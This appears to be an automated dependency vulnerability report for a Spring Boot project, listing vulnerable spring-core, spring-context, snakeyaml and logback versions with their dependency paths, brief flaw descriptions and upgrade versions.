Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.4.12.
Overview
org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.
Affected versions of this package are vulnerable to Improper Output Neutralization for Logs when a user provides malicious input, causing insertion of additional log entries.
Remediation
Upgrade org.springframework:spring-core to version 5.3.12, 5.2.18 or higher.
References
medium severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.yaml:snakeyaml@1.19Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.0.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow when parsing crafted untrusted YAML files, which can lead to a denial-of-service.
Remediation
Upgrade org.yaml:snakeyaml to version 1.31 or higher.
References
medium severity
- Module: ch.qos.logback:logback-classic
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3
Dual license: EPL-1.0, LGPL-2.1
medium severity
- Module: ch.qos.logback:logback-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3 › ch.qos.logback:logback-core@1.2.3
Dual license: EPL-1.0, LGPL-2.1
medium severity
- Module: org.aspectj:aspectjrt
- Introduced through: org.aspectj:aspectjrt@1.8.13
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.aspectj:aspectjrt@1.8.13
EPL-1.0 license
low severity
- Vulnerable module: org.springframework:spring-context
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.13.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.13.
Overview
Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the patterns for disallowedFields on a DataBinder. As a result, a field is not effectively protected unless it is listed with both upper and lower case for the first character of the field, including nested fields within the property path.
Remediation
Upgrade org.springframework:spring-context to version 5.2.21, 5.3.19 or higher.
References
low severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.yaml:snakeyaml@1.19Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.0.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow when parsing crafted untrusted YAML files, which can lead to a denial-of-service.
Remediation
Upgrade org.yaml:snakeyaml to version 1.32 or higher.
References
low severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.yaml:snakeyaml@1.19Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.0.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow in org.yaml.snakeyaml.constructor.BaseConstructor.constructObject when parsing crafted untrusted YAML files, which can lead to a denial-of-service.
Remediation
Upgrade org.yaml:snakeyaml to version 1.31 or higher.
References
low severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.yaml:snakeyaml@1.19Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.0.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Stack-based Buffer Overflow when supplied with untrusted input, due to improper limitation for incoming data.
Remediation
Upgrade org.yaml:snakeyaml to version 1.32 or higher.
References
low severity
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3 › ch.qos.logback:logback-core@1.2.3Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.3.8.
Overview
ch.qos.logback:logback-core is a logback-core module.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the SaxEventRecorder process. An attacker can forge requests by compromising logback configuration files in XML.
Remediation
Upgrade ch.qos.logback:logback-core to version 1.3.15, 1.5.13 or higher.
References
low severity
- Vulnerable module: org.springframework:spring-context
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
Overview
Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.
Note:
The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.
This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.
Remediation
Upgrade org.springframework:spring-context to version 6.1.14 or higher.
References
low severity
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.11.
Overview
org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.
Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.
Note:
The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.
This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.
Remediation
Upgrade org.springframework:spring-core to version 6.1.14 or higher.